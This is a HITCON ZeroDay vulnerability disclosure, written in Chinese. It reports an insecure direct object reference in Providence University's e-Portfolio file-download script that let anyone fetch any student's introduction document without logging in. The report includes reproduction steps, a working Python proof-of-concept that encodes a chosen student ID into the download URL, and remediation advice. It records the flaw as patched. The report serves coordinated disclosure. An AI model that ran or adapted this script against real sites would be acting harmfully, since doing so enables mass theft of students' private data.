靜宜大學 系統存在不安全的直接物件參照漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00322
  •  發信 Vendor: 靜宜大學
  • Title: 靜宜大學 系統存在不安全的直接物件參照漏洞
  • Introduction: 透過構造並訪問特定編碼的 URL,可未經授權下載 e-Portfolio 系統中任意學生的個人介紹檔案 (_introd.doc)。

處理狀態

目前狀態

公開
Last Update : 2025/05/09
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2025/04/16 02:08:17 : 新提交 (由 鄉民 更新此狀態)
  • 2025/04/16 02:10:18 : 新提交 (由 鄉民 更新此狀態)
  • 2025/04/16 02:12:36 : 新提交 (由 鄉民 更新此狀態)
  • 2025/04/16 02:13:17 : 新提交 (由 鄉民 更新此狀態)
  • 2025/04/21 14:34:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:17:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:17:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/02 16:17:03 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/05/05 14:55:27 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2025/05/05 16:16:33 : 確認已修補 (由 鄉民 更新此狀態)
  • 2025/05/09 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00322
  • 通報者:鄉民
  • 風險:高
  • 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://alcat.pu.edu.tw/eportfolio/lib/get_files.php?filename=

敘述

漏洞類型

不安全的直接存取物件 (Insecure Direct Object References, IDOR),導致任意檔案下載 (Arbitrary File Download)。

重現步驟

  1. 分析發現 https://alcat.pu.edu.tw/eportfolio/lib/get_files.php 腳本透過 filename URL 參數接收檔案路徑資訊來提供檔案下載。
  2. 進一步分析得知,filename 參數的值是將一個相對路徑字串(格式如:./ep_stu_porfile/{student_id}/{student_id}_introd.doc)先進行 UTF-8 編碼,再進行 Base64 編碼,最後進行 URL 編碼後得到的結果。
  3. 攻擊者可以選擇一個目標學生的有效學號 (以下稱 {TARGET_STUDENT_ID})。
  4. 依照步驟 2 的格式,使用 {TARGET_STUDENT_ID} 構造出對應的檔案路徑字串:./ep_stu_porfile/{TARGET_STUDENT_ID}/{TARGET_STUDENT_ID}_introd.doc
  5. 將此路徑字串進行 Base64 編碼得到 {BASE64_ENCODED_PATH} (此處省略具體編碼結果)。
  6. 將 Base64 編碼後的字串 ({BASE64_ENCODED_PATH}) 進行 URL 編碼得到 {URL_ENCODED_BASE64_PATH} (此處省略具體編碼結果)。
  7. 構造最終的下載 URL:https://alcat.pu.edu.tw/eportfolio/lib/get_files.php?filename={URL_ENCODED_BASE64_PATH}
  8. 直接使用瀏覽器訪問此構造出的 URL,或使用工具(如 curl、通報中附帶的 Python 腳本概念驗證碼)請求此 URL。
  9. 觀察到伺服器在未進行任何身份驗證或授權檢查的情況下,直接回傳了目標學號 {TARGET_STUDENT_ID} 對應的 _introd.doc 檔案內容,導致檔案被下載。
  10. 透過更改步驟 3 中使用的目標學號 {TARGET_STUDENT_ID},可以下載任意已知有效學號學生的 _introd.doc 檔案。
  11. 透過以下 Python 腳本可自動化步驟 3 至 9,直接下載目標學號的檔案:
import requests
import base64
import urllib.parse
from pathlib import Path

def generate_eportfolio_url(student_id: str) -> str:
    file_path = f"./ep_stu_porfile/{student_id}/{student_id}_introd.doc"
    file_path_bytes = file_path.encode('utf-8')
    base64_encoded_bytes = base64.b64encode(file_path_bytes)
    base64_encoded_str = base64_encoded_bytes.decode('utf-8')
    url_encoded_filename = urllib.parse.quote(base64_encoded_str)
    base_url = "https://alcat.pu.edu.tw/eportfolio/lib/get_files.php?filename="
    final_url = base_url + url_encoded_filename
    return final_url

def download_file(url: str, save_path_str: str) -> bool: 
    try:
        response = requests.get(url)
        response.raise_for_status() 
        with open(save_path_str, 'wb') as f:
            f.write(response.content)
        return True
    except Exception as e:
        print(f"Error during download attempt for {save_path_str}: {e}")
        return False

if __name__ == "__main__":
    student_id_to_download = "4110xxxxx" # 填入任意學號
    target_url = generate_eportfolio_url(student_id_to_download)
    output_filename = f"{student_id_to_download}_introd.doc"

    save_path_obj = Path(output_filename)
    absolute_save_path = save_path_obj.resolve()

    print(f"Attempting to download from URL: {target_url}")
    print(f"Target absolute save path: {absolute_save_path}")
    success = download_file(target_url, str(absolute_save_path))

    if success:
        print(f"Download attempt finished. File saved to: {absolute_save_path}")

影響

此 IDOR 漏洞允許任何能構造此特定 URL 的人,在無需登入或獲得授權的情況下,任意下載靜宜大學 e-Portfolio 系統中任何學生的個人介紹檔案 (_introd.doc)。這會導致大規模的學生個人隱私資料外洩,可能被用於不當用途,嚴重損害學生權益與學校聲譽。

螢幕截圖說明

圖片: 顯示執行提供的 Python 腳本成功下載檔案的過程與結果。

修補建議

1. **強制身份驗證與授權:** `get_files.php` 腳本在執行任何檔案讀取操作前,必須強制驗證使用者是否已通過 e-Portfolio 系統的登入認證。
2. **執行嚴格的檔案存取授權:** 驗證使用者登入後,必須檢查當前登入的使用者身份(例如,從 Session 中獲取學號)是否有權限存取 `filename` 參數解碼後所指向的檔案。最基本的檢查是,請求的檔案路徑中的學號必須與當前登入使用者的學號一致。
3. **避免從外部輸入直接構建檔案路徑:** 根本性地,不應讓 `filename` 參數直接或間接控制伺服器上的檔案路徑。應改為根據已登入使用者的身份,從後端邏輯判斷其可存取的檔案(例如,固定讀取 `./ep_stu_porfile/{登入者學號}/{登入者學號}_introd.doc`)。如果需要傳遞檔案標識,應使用無法被輕易枚舉或猜測的間接引用 ID,並在後端進行映射和權限檢查。
4. **路徑合法性校驗:** 作為縱深防禦,即使有權限檢查,也應對 `filename` 解碼後的路徑進行嚴格的格式與範圍驗證,確保其不會指向非預期的目錄(防止路徑遍歷)。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;